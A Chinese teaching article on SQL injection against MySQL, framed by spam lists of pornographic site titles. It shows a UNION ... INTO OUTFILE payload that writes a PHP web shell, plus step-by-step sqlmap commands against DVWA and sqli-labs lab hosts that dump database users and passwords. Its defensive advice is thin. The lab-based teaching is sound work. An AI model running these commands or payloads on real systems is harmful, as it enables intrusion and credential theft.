亚洲免费av电影一区二区三区,日韩爱爱视频,51精品视频一区二区三区,91视频爱爱,日韩欧美在线播放视频,中文字幕少妇AV,亚洲电影中文字幕,久久久久亚洲av成人网址,久久综合视频网站,国产在线不卡免费播放

        ?

        針對(duì)MySQL數(shù)據(jù)庫(kù)的自動(dòng)化工具的注入與防御

        2018-01-03 07:06:08張嫻蘇州工業(yè)園區(qū)服務(wù)外包職業(yè)學(xué)院
        數(shù)碼世界 2017年12期
        關(guān)鍵詞:用戶名瀏覽器語(yǔ)句

        張嫻 蘇州工業(yè)園區(qū)服務(wù)外包職業(yè)學(xué)院

        針對(duì)MySQL數(shù)據(jù)庫(kù)的自動(dòng)化工具的注入與防御

        張嫻 蘇州工業(yè)園區(qū)服務(wù)外包職業(yè)學(xué)院

        1 背景

        SQL 注入(SQL Injection)是應(yīng)用程序通過(guò)向后臺(tái)數(shù)據(jù)庫(kù)提交(SQL,Structured Query Language)查詢(xún)時(shí),如果攻擊者具有影響該查詢(xún)結(jié)果的能力時(shí),我們就稱(chēng)為是會(huì)產(chǎn)生SQL攻擊。典型的SQL注入更多的是針對(duì)服務(wù)器端的數(shù)據(jù)庫(kù),然而根據(jù)目前HTML5的代碼規(guī)范,攻擊者同樣可以執(zhí)行如Javascript等腳本來(lái)竊取客戶端的代碼。

        1.1 SQL 注入構(gòu)建

        SQL 是 訪 問(wèn) SQL server、Oracle、Mysql、Sybase和Informix等數(shù)據(jù)庫(kù)服務(wù)器的標(biāo)準(zhǔn)語(yǔ)言。

        大多數(shù)Web應(yīng)用,如ASP、PHP、Java、C#等都具有通過(guò)可編程的方法與數(shù)據(jù)庫(kù)進(jìn)行交互。

        那如果Web在開(kāi)發(fā)過(guò)程中,Web提交的表單參數(shù)和如cookies類(lèi)的隱私信息無(wú)法保障其來(lái)源可信度的話,那么SQL注入漏洞就有可能產(chǎn)生。每種編程語(yǔ)言均提供了很多不同的方法來(lái)構(gòu)造和執(zhí)行SQL語(yǔ)句,但在開(kāi)發(fā)過(guò)程中若對(duì)Web與基礎(chǔ)數(shù)據(jù)庫(kù)交互理解不透徹的話,往往就會(huì)讓攻擊者有機(jī)可趁。比如以下幾種情況是需要給程序員警告的安全建議:

        (1)轉(zhuǎn)義字符攻擊

        在SQL 語(yǔ)句構(gòu)造過(guò)程中,單引號(hào)(’),雙引號(hào)(”),空 格( ), 如 $SQL=” select ? from Table_A where user=’$_GET[“username”]’ ” ,其 中 $_GET[“username”]是PHP語(yǔ)言獲取網(wǎng)頁(yè)表單的信息傳遞給數(shù)據(jù)庫(kù)的表現(xiàn)形式。該語(yǔ)句主要用來(lái)查詢(xún)輸入的字符串,將網(wǎng)頁(yè)表單中輸入的用戶名作為條件進(jìn)行數(shù)據(jù)庫(kù)查詢(xún)。單引號(hào)外面的內(nèi)容是要運(yùn)行的代碼,用單引號(hào)里面的內(nèi)容均是數(shù)據(jù)。所以,單引號(hào)的構(gòu)造,可以進(jìn)行Web 站點(diǎn)受SQL注入攻擊。單引號(hào)引起了MySQL的語(yǔ)法錯(cuò)誤:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1。

        (2)類(lèi)型處理攻擊

        SQL注入應(yīng)用時(shí),若用戶輸入的參數(shù)是整型,則單引號(hào)是不用加的。如$SQL=” select ? from Table_A where id=$_GET[“userid”]”。MySQL提供一條UNION命令進(jìn)行聯(lián)合 執(zhí) 行。 如 id=$_GET[“userid”] UNION SELECT “<?system(‘cmd’); ?>” INTO OUTFILE FILEPATH。該命令用來(lái)創(chuàng)建系統(tǒng)文件并進(jìn)行寫(xiě)操作。通過(guò)以上命令打開(kāi)了一個(gè)遠(yuǎn)程交互式訪問(wèn)的Web Shell。Web Shell主要以PHP、ASP、JSP等網(wǎng)頁(yè)文件形式存在的一種命令執(zhí)行環(huán)境。通常稱(chēng)之為網(wǎng)頁(yè)后門(mén)。

        2 識(shí)別SQL注入

        識(shí)別SQL注入漏洞是通過(guò)發(fā)送意外數(shù)據(jù)來(lái)出發(fā)異常。那么以下三個(gè)點(diǎn)就是識(shí)別的關(guān)鍵:數(shù)據(jù)輸入的類(lèi)型、會(huì)觸發(fā)異常的類(lèi)型、檢測(cè)服務(wù)器響應(yīng)的異常。Web瀏覽器以何種方式向服務(wù)器發(fā)送請(qǐng)求,不同的相應(yīng)會(huì)通過(guò)不同的參數(shù)提交給予相應(yīng)。常用的參數(shù)有GET請(qǐng)求、POST請(qǐng)求、cookie注入。

        GET請(qǐng)求服務(wù)器響應(yīng)的HTTP方法,請(qǐng)求信息包含在URL中。瀏覽器創(chuàng)建GET請(qǐng)求,發(fā)送給Web服務(wù)器,瀏覽器響應(yīng)結(jié)果。如GET /test.php?id=1。用戶可以在瀏覽器中直接將id進(jìn)行修改就可以操控參數(shù)。一般GET方法是網(wǎng)站設(shè)計(jì)時(shí)設(shè)計(jì)好的,用在子頁(yè)面的打開(kāi)等情況。

        POST是向Web服務(wù)器發(fā)送信息的HTTP。一般POST是用于用戶填寫(xiě)表單向服務(wù)器提交參數(shù)。一般參數(shù)不出現(xiàn)在URL上面。

        雖然大多數(shù)應(yīng)用都從GET或POST 參數(shù)中檢索數(shù)據(jù),但類(lèi)似cookie的數(shù)據(jù)也會(huì)引發(fā)SQL漏洞。cookie被用于驗(yàn)證、會(huì)話控制和保存用戶特定的信息。因此,cookie可能會(huì)通過(guò)用戶輸入方式或者cookie值被劫持遭受攻擊。一般cookie注入可以通過(guò)Wireshark等抓包分析cookie值來(lái)進(jìn)行注入。下面的小節(jié)會(huì)詳細(xì)描述其過(guò)程。

        3 SQLMap

        SQLMap是開(kāi)源的利用(系統(tǒng))脆弱性自動(dòng)進(jìn)行數(shù)據(jù)庫(kù)入侵和滲透的工具。它具有一個(gè)非常強(qiáng)有力的探測(cè)引擎,但請(qǐng)注意SQLMap只是用來(lái)檢測(cè)和利用sql注入點(diǎn)的。并不是網(wǎng)站掃描工具。SQLMap支持的數(shù)據(jù)庫(kù)有:MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2,SQLite, Firebird, Sybase和SAP MaxDB。SQLMap支持測(cè)試GET參數(shù),POST參數(shù),HTTP Cookie參數(shù),HTTP User-Agent頭和HTTP Referer頭來(lái)確認(rèn)是否有SQL注入,它也可以指定用逗號(hào)分隔的列表的具體參數(shù)來(lái)測(cè)試。。

        4 Cookie 注入(劫持)攻擊

        4.1 DVWA 安裝

        如上一小節(jié)描述,登錄DVWA系統(tǒng)。點(diǎn)擊SQL Injection頁(yè)面,在User ID中填寫(xiě)參數(shù)1,意思是id=1。

        4.2 WireShark 抓包

        啟動(dòng)WireShark主界面,選擇網(wǎng)口eth0。

        打開(kāi)瀏覽器。保證數(shù)據(jù)包的抓取。利用WireShark編輯命令過(guò)濾條目 ip.a(chǎn)ddr=192.168.84.249 && http,顯示滿足該地址的HTTP包。

        利用鼠標(biāo)向右滾動(dòng),查找滿足當(dāng)前頁(yè)面(id=1)的HTTP包。找到應(yīng)用層數(shù)據(jù)中包含的cookie值。

        4.3 SQLmap 自動(dòng)注入

        打開(kāi)終端,啟動(dòng)SQLMap。

        執(zhí)行

        sqlmap"http://192.168.84.249/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHP SESSID=862fadc973927e2fe027eec8acbdb2ed" --current-db--current-user。

        由執(zhí)行結(jié)果,該后臺(tái)數(shù)據(jù)庫(kù)類(lèi)型為Mysql ;操作系統(tǒng)為L(zhǎng)inux Ubuntu 8.04 (Hardy Heron); 當(dāng)前用戶為 root;當(dāng)前數(shù)據(jù)庫(kù)為dvwa。此結(jié)果表示cookie注入(劫持)攻擊成功。執(zhí)行結(jié)果。

        4.4 參數(shù)提交攻擊

        Kali中 打 開(kāi) 瀏 覽 器 輸 入 http://192.168.85.159/sqli/Less-1/,打開(kāi)實(shí)驗(yàn)環(huán)境,在終端中輸入 sqlmap -u"http://192.168.85.159/sqli/Less-1/?id=1" --dbms mysql –dbs, 指定探測(cè)類(lèi)型mysql,由于當(dāng)前用戶是root,因此--dbs可以有權(quán)限列舉出當(dāng)前所有數(shù)據(jù)庫(kù)。

        接著探測(cè)當(dāng)前數(shù)據(jù)庫(kù)和用戶,在SQLmap 中使用--current-db和--current-user參數(shù)。

        sqlmap -u "http://192.168.85.159/sqli/Less-1/?id=1"--dbms mysql –current-db --current-user,當(dāng)前受攻擊機(jī)數(shù)據(jù)庫(kù)用戶是root,當(dāng)前Less-1頁(yè)面使用的數(shù)據(jù)庫(kù)是security。

        探測(cè)當(dāng)前數(shù)據(jù)庫(kù)security下所有的表,執(zhí)行

        sqlmap -u "http://192.168.85.159/sqli/Less-1/?id=1"--dbms mysql --tables -D security ,在這里要說(shuō)明是--tables這個(gè)參數(shù),這個(gè)參數(shù)后指定-D就說(shuō)明指定當(dāng)前數(shù)據(jù)庫(kù)中的所有表,如這個(gè)要探測(cè)security下所有的表,但如果沒(méi)有使用-D,就表是要探測(cè)數(shù)據(jù)庫(kù)中所有的表。

        獲取用戶表中的信息,執(zhí)行命令

        sqlmap -u "http://192.168.85.159/sqli/Less-1/?id=1"--dbms mysql -D security -T users --column。-T users,表示指定探測(cè)表是users,--column探測(cè)該表中的所有列。探測(cè)結(jié)束發(fā)現(xiàn)users表有三列,id,password,username ,包含了用戶id,用戶密碼,用戶名。

        獲取users表用戶名和密碼列的信息,執(zhí)行

        sqlmap -u "http://192.168.85.159/sqli/Less-1/?id=1"--dbms mysql -D security -T users -C username,password--dump。

        其中-C username,password 列出用戶名和密碼。--dump獲取整個(gè)表的信息。

        5 SQL防御技術(shù)

        本章節(jié)的SQL注入的兩個(gè)實(shí)驗(yàn)都是基于類(lèi)型處理不當(dāng)而導(dǎo)致的漏洞,敏感字符如(’)、() 等沒(méi)有得到有效過(guò)濾。當(dāng)一個(gè)(’)變成了有效的程序輸入,往往就能構(gòu)造有效的攻擊語(yǔ)句。因此,防御攻擊需要程序員在頁(yè)面開(kāi)發(fā)過(guò)程中增加字符過(guò)濾函數(shù)。本次實(shí)驗(yàn)的頁(yè)面開(kāi)發(fā)語(yǔ)句均是PHP,因此下面的函數(shù)都是PHP開(kāi)發(fā)函數(shù)。如mysql_real_escape_string()轉(zhuǎn)義敏感字符、stripslashes()刪除反斜杠等。32。

        6 小結(jié)

        通過(guò)本章節(jié),讀者主要理解了SQL 程序開(kāi)發(fā)不當(dāng)引起的一些危險(xiǎn),掌握了SQL 注入的原理以及攻擊的手段。數(shù)據(jù)的處理是網(wǎng)頁(yè)多層架構(gòu)開(kāi)發(fā)中的存儲(chǔ)層,學(xué)習(xí)了它是如何與用戶進(jìn)行交互的。本章節(jié)利用自動(dòng)注入工具快速尋找、確認(rèn)、自動(dòng)發(fā)現(xiàn)SQL注入。主要給讀者呈現(xiàn)了Cookie劫持、Get參數(shù)提交等完整的攻擊過(guò)程及防御的手段。

        張嫻,性別:女,出生年月:19810927,漢,單位:蘇州工業(yè)園區(qū)服務(wù)外包職業(yè)學(xué)院,職稱(chēng):講師,學(xué)歷:大學(xué),主要研究方向:數(shù)據(jù)庫(kù)安全。

        項(xiàng)目編號(hào):zyk-026,項(xiàng)目名稱(chēng):MySQL使用技術(shù),項(xiàng)目來(lái)源:校級(jí)網(wǎng)絡(luò)共享資源課。

        猜你喜歡
        用戶名瀏覽器語(yǔ)句
        《護(hù)士進(jìn)修雜志》投稿程序
        重點(diǎn):語(yǔ)句銜接
        反瀏覽器指紋追蹤
        電子制作(2019年10期)2019-06-17 11:45:14
        精彩語(yǔ)句
        機(jī)智的快遞員
        環(huán)球?yàn)g覽器
        再見(jiàn),那些年我們嘲笑過(guò)的IE瀏覽器
        如何搞定語(yǔ)句銜接題
        作文語(yǔ)句實(shí)錄
        瀏覽器
        久久国产精品一国产精品金尊| 日韩欧美国产自由二区| 岛国大片在线免费观看| 色老汉亚洲av影院天天精品| 亚洲一区免费视频看看| 人人妻人人澡人人爽人人精品电影 | 亚洲字幕av一区二区三区四区| 午夜亚洲www湿好爽| 国产日韩欧美911在线观看| av一区二区三区高清在线看| 免费国产一区二区视频| 国产日韩精品suv| 手机看片福利一区二区三区| 国内精品伊人久久久久av| 日本一区二区三区四区在线看| 一级内射免费观看视频| 国产大屁股喷水视频在线观看| 一本一道久久综合久久| 国产一区二区三区四区五区vm| 麻豆成年视频在线观看| 一区二区三区四区黄色av网站| 国产色视频一区二区三区qq号| 成人a级视频在线观看| 国产免费网站看v片元遮挡| 亚洲午夜精品国产一区二区三区| 天堂av一区二区麻豆| 国产三级黄色免费网站| 又嫩又硬又黄又爽的视频| 亚洲精品国产成人无码区a片| 亚洲AV乱码毛片在线播放| 久久青青草视频免费观看| 精品高清一区二区三区人妖| 精品亚洲成a人在线观看| 亚洲处破女av日韩精品| 日韩精品视频在线观看免费| 国产另类av一区二区三区| 国产精品亚洲精品日韩已方| 性激烈的欧美三级视频| 中文字幕亚洲人妻系列| 国产精品自拍视频免费观看| 337p日本欧洲亚洲大胆色噜噜|